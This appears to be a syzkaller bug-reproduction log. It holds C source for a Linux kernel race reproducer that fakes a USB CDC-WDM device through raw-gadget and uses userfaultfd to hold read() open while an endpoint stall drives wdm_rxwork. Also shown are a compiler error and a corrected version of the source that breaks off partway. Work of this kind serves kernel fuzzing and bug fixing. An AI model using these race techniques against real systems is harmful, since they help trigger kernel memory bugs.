// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Compiler Error:
failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor2902377662 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]
Reply: ```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
